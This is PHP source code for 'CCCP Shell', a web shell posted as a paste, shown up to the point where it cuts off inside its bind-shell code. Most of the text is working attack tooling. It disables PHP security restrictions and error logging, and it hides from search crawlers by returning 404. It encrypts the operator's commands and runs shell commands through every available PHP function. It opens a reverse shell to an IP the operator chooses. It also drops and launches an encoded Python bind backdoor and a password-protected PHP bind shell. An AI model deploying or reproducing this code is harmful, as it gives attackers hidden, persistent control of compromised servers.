· 8 years ago · Jan 09, 2018, 06:46 AM
1<?php
2/*
3 * CCCP Shell
4 * by DSR!
5 * https://github.com/xchwarze/CCCPShell
6 * v 1.0.0 build: 25/03/2016 03:14:26
7 */
8
9# System variables
10$config['charset'] = 'utf-8'; //'utf-8', 'big5', 'gbk', 'iso-8859-2', 'euc-kr', 'euc-jp'
11$config['date'] = 'd/m/Y';
12$config['datetime'] = 'd/m/Y H:i:s';
13$config['hd_lines'] = 16; //lines in hex preview file
14$config['hd_rows'] = 32; //16, 24 or 32 bytes in one line
15$config['FMLimit'] = 100; //file manager item limit. false = No limit
16$config['SQLLimit'] = 50; //sql manager result limit.
17$config['checkBDel'] = true;//Check Before Delete: true = On
18$config['consNames'] = array('post'=>'dsr', 'slogin'=>'cccpshell', 'sqlclog'=>'conlog'); //Constants names
19$config['sPass'] = '775a373fb43d8101818d45c28036df87'; // md5('cccpshell')
20$config['rc4drop'] = 28; //drop size
21
22
23// ------ Start CCCPShell
24$loadTime = microtime(true);
25$isWIN = DIRECTORY_SEPARATOR === '\\';
26define('DS', DIRECTORY_SEPARATOR);
27define('SROOT', dirname(__file__) . DS);
28
29# Restoring
30@ini_restore('safe_mode_include_dir');
31@ini_restore('safe_mode_exec_dir');
32@ini_restore('disable_functions');
33@ini_restore('allow_url_fopen');
34@ini_restore('safe_mode');
35@ini_restore('open_basedir');
36@ini_set('error_log', null);
37@ini_set('log_errors', 0);
38@ini_set('file_uploads', 1);
39@ini_set('allow_url_fopen', 1);
40@ini_alter('error_log', null);
41@ini_alter('log_errors', 0);
42@ini_alter('file_uploads', 1);
43@ini_alter('allow_url_fopen', 1);
44
45@error_reporting(7);
46@ini_set('memory_limit', '128M'); //change it if phpzip fails
47@set_magic_quotes_runtime(0);
48@set_time_limit(0);
49@ini_set('max_execution_time', 0);
50@ini_set('output_buffering', 0);
51
52$uAgents = array('Google', 'Slurp', 'MSNBot', 'ia_archiver', 'Yandex', 'Rambler', 'Yahoo', 'Zeus', 'bot', 'Wget');
53if (empty($_SERVER['HTTP_USER_AGENT']) || preg_match('/' . implode('|', $uAgents) . '/i', $_SERVER['HTTP_USER_AGENT'])) {
54 header('HTTP/1.0 404 Not Found');
55 exit;
56}
57
58if (in_array($config['charset'], array('utf-8', 'big5', 'gbk', 'iso-8859-2', 'euc-kr', 'euc-jp')))
59 header("Content-Type: text/html; charset={$config['charset']}");
60
61function mHide($n, $v){
62 return "<input id='$n' name='$n' type='hidden' value='$v' />";
63}
64
65function mLink($t, $o, $e = '', $m = true){
66 if ($m) $o .= ';return false;';
67 return "<a href='#' onclick='$o' $e>$t</a>";
68}
69
70function mInput($n, $v, $tt = '', $nl = '', $c = '', $e = ''){
71 if ($tt !== '') $tt = "$tt<br>";
72
73 $input = "$tt<input class='$c' name='$n' id='$n' value='$v' type='text' $e />";
74 if ($nl !== '') $input = "<p>$input</p>";
75
76 return $input;
77}
78
79function mSubmit($v, $o, $nl = '', $e = ''){
80 $input = "<input class='button' type='button' value='$v' onclick='$o;return false;' $e >";
81 if ($nl !== '') $input = "<p>$input</p>";
82
83 return $input;
84}
85
86function mSelect($n, $v, $nk = false, $s = false, $o = false, $t = false, $nl = false, $e = false){
87 $tmp = '';
88 if ($o) $o = "onchange='$o'";
89 if ($t) $t = "$t<br>";
90 foreach ($v as $key => $value){
91 if ($nk) $key = $value;
92 $tmp .= "<option value='$key'" . ($s == $key ? " selected='selected'" : "") . ">$value</option>";
93 }
94
95 $tmp = "$t<select class='theme' id='$n' name='$n' $o $e>$tmp</select>";
96 if ($nl)
97 $tmp = "<p>$tmp</p>";
98
99 return $tmp;
100}
101
102function mCheck($n, $v, $o = '', $c = false){
103 return "<input id='$n' name='$n' value='$v' type='checkbox' onclick='$o' " . ($c ? 'checked' : '') . "/>";
104}
105
106function genPaginator($c, $t = -1, $fm = true) {
107 global $p;
108
109 $l = 'dbexec(euc("' . (isset($p['code']) ? $p['code'] : '') . '") + "&pg=';
110 if ($fm)
111 $l = 'ajaxLoad("me=file&dir=" + euc(d.getElementById("base").value) + "&pg=';
112
113 if ($t < 0)
114 $t = $c + 1;
115
116 $tmp = '<div class="paginator">';
117 $i = 0;
118 while($i < $t) {
119 $i++;
120 if ($i < $c)
121 $tmp .= mLink($i, $l . $i . '")', 'class="prev"');
122 else if ($i == $c)
123 $tmp .= '<span class="current">' . $i . '</span>';
124 else
125 $tmp .= mLink($i . ($fm ? ' ...?' : ''), $l . $i . '")', 'class="next"');
126 }
127
128 return $tmp . '</div>';
129}
130
131
132function fix_magic_quote($arr){
133 $quotes_sybase = strtolower(ini_get('magic_quotes_sybase'));
134 $quotes_sybase = (empty($quotes_sybase) || $quotes_sybase === 'off') ? false : true;
135 if(function_exists('get_magic_quotes_gpc') && get_magic_quotes_gpc()){
136 if(is_array($arr)){
137 foreach($arr as $k => $v){
138 if(is_array($v)) $arr[$k] = fix_magic_quote($v);
139 else $arr[$k] = ($quotes_sybase ? stripslashes($v) : stripslashes(str_replace("\'\'", "\'", $v)));
140 }
141 } else
142 $arr = stripslashes($arr);
143 }
144 return $arr;
145}
146
147function rc4Init($pwd) {
148 $key = array();
149 $box = array();
150 $pwd_length = strlen($pwd);
151
152 for ($i = 0; $i < 256; $i++) {
153 $key[$i] = ord($pwd[$i % $pwd_length]);
154 $box[$i] = $i;
155 }
156
157 for ($j = $i = 0; $i < 256; $i++) {
158 $j = ($j + $box[$i] + $key[$i]) % 256;
159 $tmp = $box[$i];
160 $box[$i] = $box[$j];
161 $box[$j] = $tmp;
162 }
163
164 return $box;
165}
166
167function rc4($data, $box) {
168 $cipher = '';
169 $data_length = strlen($data);
170
171 for ($a = $j = $i = 0; $i < $data_length; $i++) {
172 $a = ($a + 1) % 256;
173 $j = ($j + $box[$a]) % 256;
174
175 $tmp = $box[$a];
176 $box[$a] = $box[$j];
177 $box[$j] = $tmp;
178 $cipher .= chr(ord($data[$i]) ^ $box[(($box[$a] + $box[$j]) % 256)]);
179 }
180
181 return $cipher;
182}
183
184function rc4encrypt($data, $box) {
185 global $config;
186 for ($i = 1; $i <= $config['rc4drop']; $i++)
187 $data = chr(mt_rand(33, 122)) . $data;
188 return rc4($data, rc4Init($box));
189}
190
191function rc4decrypt($data, $box) {
192 global $config;
193 return substr(rc4($data, rc4Init($box)), $config['rc4drop']);
194}
195
196function getData(){
197 global $config;
198 $p = '';
199 if (isset($_POST[$config['consNames']['post']])) $p = fix_magic_quote($_POST[$config['consNames']['post']]);
200 else if (isset($_GET[$config['consNames']['post']])) $p = fix_magic_quote($_GET[$config['consNames']['post']]);
201 if (!empty($p)){
202 $data = array();
203 $p = rc4decrypt(base64_decode($p), $config['sPass']);
204 foreach(explode('&', $p) as $tmp) {
205 $tmp = explode('=', $tmp);
206 if (!empty($tmp[0])){
207 if (strpos($tmp[0], '[]') !== false) $data[str_replace('[]', '', $tmp[0])][] = rawurldecode($tmp[1]);
208 else $data[$tmp[0]] = rawurldecode($tmp[1]);
209 }
210 }
211 $p = $data;
212 }
213 return $p;
214}
215
216function getSelf(){
217 return $_SERVER['PHP_SELF'] ? $_SERVER['PHP_SELF'] : $_SERVER['SCRIPT_NAME'];
218}
219
220function tText($id, $def){
221
222 if (isset($lang[$id])) return $lang[$id];
223 else return $def;
224}
225
226function showIcon($f){
227 $image = 'unk';
228 $f = strtolower(substr(strrchr($f, '.'), 1));
229 $img = array('htaccess', 'asp', 'cgi', 'php', 'html', 'jpg', 'js', 'swf', 'txt',
230 'tar', 'mp3', 'avi', 'cmd', 'cpp', 'ini', 'doc', 'exe', 'log', 'pl', 'py', 'xml');
231
232 $imgEquals = array(
233 'tar' => array('tar', 'r00', 'ace', 'arj', 'bz', 'bz2', 'tbz', 'tbz2', 'tgz', 'uu', 'xxe', 'zip', 'cab', 'gz', 'iso', 'lha', 'lzh', 'pbk', 'rar', 'uuf', '7z'),
234 'php' => array('php', 'php3', 'php4', 'php5', 'phtml', 'shtml'),
235 'jpg' => array('jpg', 'gif', 'png', 'jpeg', 'jfif', 'jpe', 'bmp', 'ico', 'tif', 'tiff'),
236 'html'=> array('html', 'htm'),
237 'avi' => array('avi', 'mov', 'mvi', 'mpg', 'mpeg', 'wmv', 'rm', 'mp4'),
238 'lnk' => array('lnk', 'url'),
239 'ini' => array('ini', 'css', 'inf'),
240 'doc' => array('doc', 'dot', 'wri', 'rtf', 'pdf'),
241 'js' => array('js', 'vbs'),
242 'cmd' => array('cmd', 'bat', 'pif'),
243 'swf' => array('swf', 'fla'),
244 'mp3' => array('mp3', 'au', 'midi', 'mid'),
245 'htaccess' => array('htaccess', 'htpasswd', 'ht', 'hta', 'so')
246 );
247
248 if (in_array($f, $img)) $image = $f;
249 if ($image === 'unk'){
250 foreach ($imgEquals as $k => $v){
251 if (in_array($f, $v)){
252 $image = $k;
253 break;
254 }
255 }
256 }
257
258 return "<div class='image $image'></div>";
259}
260
261# General functions
262function hsc($s){
263 //return htmlspecialchars($s, 2|1);
264 return htmlentities($s);
265}
266
267function fixRoute($s){
268 return str_replace(array('/', '\\'), DS, $s);
269}
270
271function execute($c, $i = false){
272 $v = '';
273 $r = '';
274 //$c = $c . ' 2>&1';
275 $dis_func = explode(',', get_cfg_var('disable_functions'));
276
277 if ($c){
278 if (function_exists('exec') && !in_array('exec', $dis_func)){
279 exec($c, $r);
280 $r = implode("\n", $r);
281 //$tmp = '';
282 //if(!empty($r)) foreach($r as $line) $tmp .= $line;
283 //$r = $tmp;
284 $v = 'exec';
285 } else if (function_exists('shell_exec') && !in_array('shell_exec', $dis_func)){
286 $r = @shell_exec($c);
287 $v = 'shell_exec';
288 } else if (function_exists('system') && !in_array('system', $dis_func)){
289 @ob_start();
290 @system($c);
291 $r = @ob_get_contents();
292 @ob_end_clean();
293 $v = 'system';
294 } else if (function_exists('passthru') && !in_array('passthru', $dis_func)){
295 @ob_start();
296 @passthru($c);
297 $r = @ob_get_contents();
298 @ob_end_clean();
299 $v = 'passthru';
300 } else if (function_exists('popen') && !in_array('popen', $dis_func)){
301 $h = popen($c, 'r');
302 if (is_rource($h)){
303 if (function_exists('fread') && function_exists('feof')){
304 while (!feof($h))
305 $r .= fread($h, 512);
306 } else if (function_exists('fgets') && function_exists('feof')){
307 while (!feof($h))
308 $r .= fgets($h, 512);
309 }
310 }
311 pclose($h);
312 $v = 'popen';
313 } else if (function_exists('proc_open') && !in_array('proc_open', $dis_func)){
314 $ds = array(1 => array('pipe', 'w'));
315 //$ds = array(0 => array('pipe', 'r'), 1 => array('pipe', 'w'), 2 => array('pipe', 'w'));
316 $h = @proc_open($c, $ds, $pipes);
317 //$h = @proc_open($c, $ds, $pipes, getcwd(), array());
318 if (is_rource($h)){
319 if (function_exists('fread') && function_exists('feof')){
320 while (!feof($pipes[1]))
321 $r .= fread($pipes[1], 512);
322 } else if (function_exists('fgets') && function_exists('feof')){
323 while (!feof($pipes[1]))
324 $r .= fgets($pipes[1], 512);
325 /*while (!feof($pipes[2]))
326 $r .= fgets($pipes[2], 512);*/
327 }
328 }
329 @proc_close($h);
330 $v = 'proc_open';
331 }
332 }
333
334 if ($i) $r = array(0 => $r, 1 => $v);
335 return($r);
336}
337
338function safeStatus(){
339 $safe_mode = @ini_get('safe_mode');
340 if (!$safe_mode && strpos(execute('echo abcdef'), 'def') != 3) $safe_mode = true;
341 return $safe_mode;
342}
343
344function getcfg($n){
345 $result = get_cfg_var($n);
346 if ($result == 0) return tText('no', 'no');
347 else if ($result == 1) return tText('yes', 'yes');
348 else return $result;
349}
350
351if (!function_exists('file_get_contents')) {
352 function file_get_contents($file){
353 $h = @fopen($file, 'rb');
354 if (!$h)
355 return false;
356
357 $content = '';
358 while(!feof($h))
359 $content .= fread($h, 8192);
360
361 return $content;
362 }
363}
364
365if (!function_exists('file_put_contents')) {
366 define('FILE_APPEND', 1);
367 function file_put_contents($file, $data, $flag = false) {
368 $mode = ($flag == FILE_APPEND || strtoupper($flag) == 'FILE_APPEND') ? 'a' : 'w';
369 $h = @fopen($file, $mode);
370 if (!$h)
371 return false;
372
373 $bytes = fwrite($h, $data);
374 fclose($h);
375 return $bytes;
376 }
377}
378
379function sizecount($s){
380 if ($s[0] === '*') return $s;
381 $sizename = array(' B', ' KB', ' MB', ' GB', ' TB', ' PB', ' EB', ' ZB', ' YB');
382 return @round( $s / pow(1024, ($i = floor(log($s, 1024)))), 2) . $sizename[$i];
383}
384
385function getPath($s, $n){
386 if ($n === '.') $n = $s;
387 if (substr($n, -1) !== DS) $n = $n . DS;
388 return $n;
389}
390
391function getUpPath($n){
392 $pathdb = explode(DS, $n);
393 $num = count($pathdb);
394 if ($num > 2) unset($pathdb[$num - 1], $pathdb[$num - 2]);
395 $uppath = implode(DS, $pathdb) . DS;
396 return $uppath;
397}
398
399function get_all_files($path){
400 $files = glob(realpath($path).DS.'*');
401 foreach ($variable as $value) {
402 if (is_dir($value)){
403 $subdir = glob($value.DS.'*');
404 if (is_array($files) && is_array($subdir)) $files = array_merge($files, $subdir);
405 }
406 }
407 return $files;
408}
409
410function sAjax($i){
411 global $config;
412 exit(base64_encode(rc4encrypt($i, $config['sPass'])));
413}
414
415function sDialog($i){
416 return "<br><div id='uires' class='uires'>$i</div><br>";
417}
418
419function sValid($v){
420 return ((isset($v)) && ($v !== ''));
421}
422
423function zip($files, $archive){
424 if(!extension_loaded('zip')) return false;
425 $zip = new ZipArchive();
426 if(!$zip->open($archive, 1)) return false;
427
428 if(!is_array($files)) $files = array($files);
429 foreach($files as $file){
430 $file = str_replace(get_cwd(), '', $file);
431 $file = str_replace('\\', '/', $file);
432 if(is_dir($file)){
433 $filesIterator = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($file), 1);
434 foreach($filesIterator as $iterator){
435 $iterator = str_replace('\\', '/', $iterator);
436 if(in_array(substr($iterator, strrpos($iterator, '/')+1), array('.', '..'))) continue;
437 if(is_dir($iterator)) $zip->addEmptyDir(str_replace($file.'/', '', $iterator.'/'));
438 else if(is_file($iterator)) $zip->addFromString(str_replace($file.'/', '', $iterator), read_file($iterator));
439 }
440 } else if(is_file($file))
441 $zip->addFromString(basename($file), read_file($file));
442 }
443 if($zip->getStatusString()!==false) return true;
444 $zip->close();
445}
446
447# Based on PHPZip - v1.23 by DSR!
448class PHPZip {
449 var $datasec = array();
450 var $ctrl_dir = array();
451 var $cut_from_route = 0;
452 var $file_count = 0;
453 var $old_offset = 0;
454
455 function Zipper($basedir, $filelist){
456 $this->cut_from_route = strlen(dirname($basedir . $filelist[0])) + 1;
457 foreach ($filelist as $f){
458 $f = $basedir . $f;
459 if (is_dir($f))
460 $this->AddFolderContent($f);
461 else if (is_file($f))
462 $this->addFileProc($f);
463 }
464 }
465
466 function AddFolderContent($dir){
467 if (!file_exists($dir))
468 return false;
469
470 $h = @opendir($dir);
471 while (false !== ($f = @readdir($h))) {
472 if ($f === '.' || $f === '..')
473 continue;
474
475 $f = $dir . $f;
476 if (is_dir($f))
477 $this->AddFolderContent($f . DS);
478 else if (is_file($f))
479 $this->addFileProc($f);
480 }
481 @closedir($h);
482 }
483
484 function addFileProc($file){
485 if (!file_exists($file))
486 return false;
487
488 $this->addFile(file_get_contents($file), substr($file, $this->cut_from_route));
489 }
490
491 function unix2DosTime($t = 0){
492 $ta = ($t == 0) ? getdate() : getdate($t);
493 if ($ta['year'] < 1980) $ta = array('year' => 1980, 'mon' => 1, 'mday' => 1, 'hours' => 0, 'minutes' => 0, 'seconds' => 0);
494 return (($ta['year'] - 1980) << 25) | ($ta['mon'] << 21) | ($ta['mday'] << 16) | ($ta['hours'] << 11) | ($ta['minutes'] << 5) | ($ta['seconds'] >> 1);
495 }
496
497 function hex2bin($s){
498 $bin = '';
499 $i = 0;
500 do {
501 $bin .= chr(hexdec($s{$i}.$s{($i + 1)}));
502 $i += 2;
503 } while ($i < strlen($s));
504 return $bin;
505 }
506
507 function addFile($data, $name, $time = 0){
508 $dtime = dechex($this->unix2DosTime($time));
509 $hexdtime = $this->hex2bin($dtime[6] . $dtime[7] . $dtime[4] . $dtime[5] . $dtime[2] . $dtime[3] . $dtime[0] . $dtime[1]);
510 $packv0 = pack('v', 0);
511 $zdata = gzcompress($data);
512 $zdata = substr(substr($zdata, 0, strlen($zdata) - 4), 2);
513
514 // "local file header" segment
515 $fr = "\x50\x4b\x03\x04\x14\x00\x00\x00\x08\x00" . $hexdtime;
516 $pack_info = pack('V', crc32($data)) . pack('V', strlen($zdata)) . pack('V', strlen($data));
517
518 $fr .= $pack_info . pack('v', strlen($name)) . $packv0 . $name;
519 $fr .= $zdata; // "file data" segment
520 $fr .= $pack_info; // "data descriptor" segment
521 $this->datasec[] = $fr;
522
523 // now add to central directory record
524 $cdrec = "\x50\x4b\x01\x02\x00\x00\x14\x00\x00\x00\x08\x00" . $hexdtime;
525 $cdrec .= $pack_info . pack('v', strlen($name)) . $packv0 . $packv0 . $packv0 . $packv0 . pack('V', 32);
526 $cdrec .= pack('V', $this->old_offset) . $name;
527
528 // save to central directory
529 $this->old_offset += strlen($fr);
530 $this->file_count += 1;
531 $this->ctrl_dir[] = $cdrec;
532 }
533
534 function file(){
535 $data = implode('', $this->datasec);
536 $ctrldir = implode('', $this->ctrl_dir);
537 return $data . $ctrldir . "\x50\x4b\x05\x06\x00\x00\x00\x00" . pack('v', $this->file_count) . pack('v', $this->file_count) . pack('V', strlen($ctrldir)) . pack('V', strlen($data)) . " ";
538 }
539
540 function output($file){
541 return file_put_contents($file, $this->file());
542 }
543}
544
545function compress($type, $archive, $files){
546 if (!is_array($files)) $files = array($files);
547 if ($type=='zip'){
548 if(class_exists('ZipArchive'))
549 if (zip($files, $archive)) return true;
550 else {
551 //TODO
552 }
553 } else if ($type=='tar' || $type=='targz') {
554 $archive = basename($archive);
555 $listsBasename = array_map('basename', $files);
556 $lists = array_map('wrap_with_quotes', $listsBasename);
557 $command = ($type == 'targz' ? 'czf' : 'cf');
558 execute('tar '.$command.'czf "'.$archive.'" '.implode(' ', $lists));
559 return is_file($archive);
560 }
561 return false;
562}
563
564function decompress($type, $archive, $path){
565 $path = realpath($path).DS;
566 if(is_dir($path)){
567 chdir($path);
568 if($type=='unzip'){
569 if(class_exists('ZipArchive')){
570 $zip = new ZipArchive();
571 $target = $path.basename($archive,'.zip');
572 if($zip->open($archive)){
573 if(!is_dir($target)) mkdir($target);
574 $zip->extractTo($target); //return true;
575 return $zip->close();
576 }
577 }
578 } else if ($type=='tar' || $type=='targz') {
579 $target = '';
580 if(strpos(strtolower($archive), '.tar.gz')!==false) $target = basename($archive,'.tar.gz');
581 else if(strpos(strtolower($archive), '.tgz')!==false) $target = basename($archive,'.tgz');
582 else if(strpos(strtolower($archive), '.tar')!==false) $target = basename($archive,'.tar');
583
584 if(!is_dir($target)) mkdir($target);
585 $before = count(get_all_files($target));
586 $command = ($type == 'untargz' ? 'xzf' : 'xf');
587 execute('tar '.$command.' "'.basename($archive).'" -C "'.$target.'"');
588 $after = count(get_all_files($target));
589 return $before != $after;
590 }
591 }
592 return false;
593}
594
595function download($url, $save){
596 if(!preg_match("/[a-z]+:\/\/.+/",$url)) return false;
597 if(is_file($save)) unlink($save);
598 if($sBuff = file_get_contents($url)){
599 if(file_put_contents($save, $sBuff))
600 return true;
601 }
602
603 if (!$isWIN){
604 $buff = execute('wget '.$url.' -O '.$save);
605 if(is_file($save)) return true;
606 $buff = execute('curl '.$url.' -o '.$save);
607 if(is_file($save)) return true;
608 $buff = execute('lwp-download '.$url.' '.$save);
609 if(is_file($save)) return true;
610 $buff = execute('lynx -source '.$url.' > '.$save);
611 if(is_file($save)) return true;
612 }
613
614 return false;
615}
616
617function filesize64($file){
618 $size = filesize($file);
619 if ($size > 1610612736 or $size < -1){
620 /*
621 global $isWIN;
622 $size = 0;
623 if (!safeStatus()){
624 $cmd = ($isWIN) ? "for %F in (\"$file\") do @echo %~zF" : "stat -c%s \"$file\"";
625 execute($cmd, $output);
626 ctype_digit($size = trim($output));
627 }
628
629 if ($isWIN && class_exists("COM")){
630 try {
631 $fsobj = new COM('Scripting.FileSystemObject');
632 $f = $fsobj->GetFile(realpath($file));
633 $size = $f->Size;
634 } catch (Exception $e){}
635 }
636
637 $piece = 1073741824;
638 $fp = @fopen($file, 'r');
639 @fseek($fp, 0, SEEK_SET);
640 while ($piece > 1){
641 @fseek($fp, $piece, SEEK_CUR);
642 if (@fgetc($fp) === false){
643 @fseek($fp, -$piece, SEEK_CUR);
644 $piece = (int)($piece / 2);
645 } else {
646 @fseek($fp, -1, SEEK_CUR);
647 $size += $piece;
648 }
649 }
650
651 while (@fgetc($fp) !== false)
652 $size++;
653
654 @fclose($file_pointer);
655 */
656 $size = sprintf("%u", $size);
657 $sizename = array(' B', ' KB', ' MB', ' GB', ' TB', ' PB', ' EB', ' ZB', ' YB');
658 $size = '* ' . @round( $size / pow(1024, ($i = floor(log($size, 1024)))), 2) . $sizename[$i];
659 }
660
661 return $size;
662}
663
664
665$sBuff = '';
666$p = getData();
667
668
669# Sections
670
671
672if (isset($p['me'])) {
673 if ($p['me'] === 'connect') {
674 // based on AniShell
675 if (@sValid($p['ip']) && sValid($p['port'])){
676 $sBuff .= '<p>The Program is now trying to connect!</p>';
677 $ip = $p['ip'];
678 $port = $p['port'];
679 $sockfd = fsockopen($ip, $port, $errno, $errstr);
680 if ($errno != 0){
681 $sBuff .= "<font color='red'><b>$errno</b>: $errstr</font>";
682 } else if (!$sockfd){
683 $result = '<p>Fatal: An unexpected error was occured when trying to connect!</p>';
684 } else {
685 $len = 1500;
686 fputs($sockfd, execute('uname -a') . "\n");
687 fputs($sockfd, execute('pwd') . "\n");
688 fputs($sockfd, execute('id') . "\n\n");
689 fputs($sockfd, execute('time /t & date /T') . "\n\n");
690
691 while (! feof($sockfd)) {
692 fputs($sockfd, '(Shell)[$]> ');
693 fputs($sockfd, "\n" . execute(fgets($sockfd, $len)) . "\n\n");
694 }
695 fclose($sockfd);
696 }
697 } else if (@(sValid($p['port'])) && (sValid($p['passwd'])) && (sValid($p['mode']))){
698 $address = '127.0.0.1';
699 $port = $p['port'];
700 $pass = $p['passwd'];
701
702 if ($p['mode'] === 'Python'){
703 $Python_CODE = "IyBTZXJ2ZXIgIA0KIA0KaW1wb3J0IHN5cyAgDQppbXBvcnQgc29ja2V0ICANCmltcG9ydCBvcyAgDQoNCmhvc3QgPSAnJzsgIA0KU0laRSA9IDUxMjsgIA0KDQp0cnkgOiAgDQogICAgIHBvcnQgPSBzeXMuYXJndlsxXTsgIA0KDQpleGNlcHQgOiAgDQogICAgIHBvcnQgPSAzMTMzNzsgIA0KIA0KdHJ5IDogIA0KICAgICBzb2NrZmQgPSBzb2NrZXQuc29ja2V0KHNvY2tldC5BRl9JTkVUICwgc29ja2V0LlNPQ0tfU1RSRUFNKTsgIA0KDQpleGNlcHQgc29ja2V0LmVycm9yICwgZSA6ICANCg0KICAgICBwcmludCAiRXJyb3IgaW4gY3JlYXRpbmcgc29ja2V0IDogIixlIDsgIA0KICAgICBzeXMuZXhpdCgxKTsgICANCg0Kc29ja2ZkLnNldHNvY2tvcHQoc29ja2V0LlNPTF9TT0NLRVQgLCBzb2NrZXQuU09fUkVVU0VBRERSICwgMSk7ICANCg0KdHJ5IDogIA0KICAgICBzb2NrZmQuYmluZCgoaG9zdCxwb3J0KSk7ICANCg0KZXhjZXB0IHNvY2tldC5lcnJvciAsIGUgOiAgICAgICAgDQogICAgIHByaW50ICJFcnJvciBpbiBCaW5kaW5nIDogIixlOyANCiAgICAgc3lzLmV4aXQoMSk7ICANCiANCnByaW50KCJcblxuPT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09Iik7IA0KcHJpbnQoIi0tLS0tLS0tIFNlcnZlciBMaXN0ZW5pbmcgb24gUG9ydCAlZCAtLS0tLS0tLS0tLS0tLSIgJSBwb3J0KTsgIA0KcHJpbnQoIj09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PVxuXG4iKTsgDQogDQp0cnkgOiAgDQogICAgIHdoaWxlIDEgOiAjIGxpc3RlbiBmb3IgY29ubmVjdGlvbnMgIA0KICAgICAgICAgc29ja2ZkLmxpc3RlbigxKTsgIA0KICAgICAgICAgY2xpZW50c29jayAsIGNsaWVudGFkZHIgPSBzb2NrZmQuYWNjZXB0KCk7ICANCiAgICAgICAgIHByaW50KCJcblxuR290IENvbm5lY3Rpb24gZnJvbSAiICsgc3RyKGNsaWVudGFkZHIpKTsgIA0KICAgICAgICAgd2hpbGUgMSA6ICANCiAgICAgICAgICAgICB0cnkgOiAgDQogICAgICAgICAgICAgICAgIGNtZCA9IGNsaWVudHNvY2sucmVjdihTSVpFKTsgIA0KICAgICAgICAgICAgIGV4Y2VwdCA6ICANCiAgICAgICAgICAgICAgICAgYnJlYWs7ICANCiAgICAgICAgICAgICBwaXBlID0gb3MucG9wZW4oY21kKTsgIA0KICAgICAgICAgICAgIHJhd091dHB1dCA9IHBpcGUucmVhZGxpbmVzKCk7ICANCiANCiAgICAgICAgICAgICBwcmludChjbWQpOyAgDQogICAgICAgICAgIA0KICAgICAgICAgICAgIGlmIGNtZCA9PSAnZzJnJzogIyBjbG9zZSB0aGUgY29ubmVjdGlvbiBhbmQgbW92ZSBvbiBmb3Igb3RoZXJzICANCiAgICAgICAgICAgICAgICAgcHJpbnQoIlxuLS0tLS0tLS0tLS1Db25uZWN0aW9uIENsb3NlZC0tLS0tLS0tLS0tLS0tLS0iKTsgIA0KICAgICAgICAgICAgICAgICBjbGllbnRzb2NrLnNodXRkb3duKCk7ICANCiAgICAgICAgICAgICAgICAgYnJlYWs7ICANCiAgICAgICAgICAgICB0cnkgOiAgDQogICAgICAgICAgICAgICAgIG91dHB1dCA9ICIiOyAgDQogICAgICAgICAgICAgICAgICMgUGFyc2UgdGhlIG91dHB1dCBmcm9tIGxpc3QgdG8gc3RyaW5nICANCiAgICAgICAgICAgICAgICAgZm9yIGRhdGEgaW4gcmF3T3V0cHV0IDogIA0KICAgICAgICAgICAgICAgICAgICAgIG91dHB1dCA9IG91dHB1dCtkYXRhOyAgDQogICAgICAgICAgICAgICAgICAgDQogICAgICAgICAgICAgICAgIGNsaWVudHNvY2suc2VuZCgiQ29tbWFuZCBPdXRwdXQgOi0gXG4iK291dHB1dCsiXHJcbiIpOyAgDQogICAgICAgICAgICAgICANCiAgICAgICAgICAgICBleGNlcHQgc29ja2V0LmVycm9yICwgZSA6ICANCiAgICAgICAgICAgICAgICAgICANCiAgICAgICAgICAgICAgICAgcHJpbnQoIlxuLS0tLS0tLS0tLS1Db25uZWN0aW9uIENsb3NlZC0tLS0tLS0tIik7ICANCiAgICAgICAgICAgICAgICAgY2xpZW50c29jay5jbG9zZSgpOyAgDQogICAgICAgICAgICAgICAgIGJyZWFrOyAgDQpleGNlcHQgIEtleWJvYXJkSW50ZXJydXB0IDogIA0KIA0KDQogICAgIHByaW50KCJcblxuPj4+PiBTZXJ2ZXIgVGVybWluYXRlZCA8PDw8PFxuIik7ICANCiAgICAgcHJpbnQoIj09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09Iik7IA0KICAgICBwcmludCgiXHRUaGFua3MgZm9yIHVzaW5nIEFuaS1zaGVsbCdzIC0tIFNpbXBsZSAtLS0gQ01EIik7ICANCiAgICAgcHJpbnQoIlx0RW1haWwgOiBsaW9uYW5lZXNoQGdtYWlsLmNvbSIpOyAgDQogICAgIHByaW50KCI9PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0iKTsNCg==";
704 $bindname = 'bind.py';
705 $fd = fopen($bindname, 'w');
706 if ($fd){
707 fwrite($fd, base64_decode($Python_CODE));
708 if ($isWIN){
709 $sBuff .= '[+] OS Detected = Windows';
710 execute('start bind.py');
711 $pattern = 'python.exe';
712 $list = execute('TASKLIST');
713 } else {
714 $sBuff .= '[+] OS Detected = Linux';
715 execute('chmod +x bind.py ; ./bind.py');
716 $pattern = $bindname;
717 $list = execute('ps -aux');
718 }
719
720 if (preg_match("/$pattern/", $list))
721 $sBuff .= '<p class="alert_green">Process Found Running! Backdoor Setuped Successfully</p>';
722 else
723 $sBuff .= '<p class="alert_red">Process Not Found Running! Backdoor Setup FAILED</p>';
724
725 $sBuff .= "<br/><br/>\n<b>Task List :-</b> <pre>\n$list</pre>";
726 }
727 }
728 } else if (@$p['mode'] === 'PHP'){
729 if (function_exists("socket_create")){
730 $sockfd = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);// Create a TCP Stream socket
731 if (socket_bind($sockfd, $address, $port) == false)
732 $sBuff .= "Cant Bind to the specified port and address!";
733 socket_listen($sockfd, 17);// Start listening for connections
734 $client = socket_accept($sockfd);//Accept incoming requests and handle them as child processes
735 socket_write($client, 'Password: ');
736 $input = socket_read($client, strlen($pass) + 2); // +2 for \r\n // Read the pass from the client
737 if (trim($input) == $pass){
738 socket_write($client, "\n\n");
739 socket_write($client, ($isWIN) ? execute("date /t & time /t") . "\n" . execute("ver") : execute("date") . "\n" . execute("uname -a"));
740 socket_write($client, "\n\n");
741
742 while (1){// Print command prompt
743 $maxCmdLen = 31337;
744 socket_write($client, '(Shell)[$]> ');
745 $cmd = socket_read($client, $maxCmdLen);
746 if ($cmd == false){
747 $sBuff .= 'The client Closed the conection!';
748 break;
749 }
750 socket_write($client, execute($cmd));
751 }
752 } else {
753 $sBuff .= 'Wrong Password!';
754 socket_write($client, "Wrong Password!\n\n");
755 }
756 socket_shutdown($client, 2);
757 socket_close($socket);
758 //socket_close($client);// Close the client (child) socket
759 //socket_close($sock);// Close the master sockets
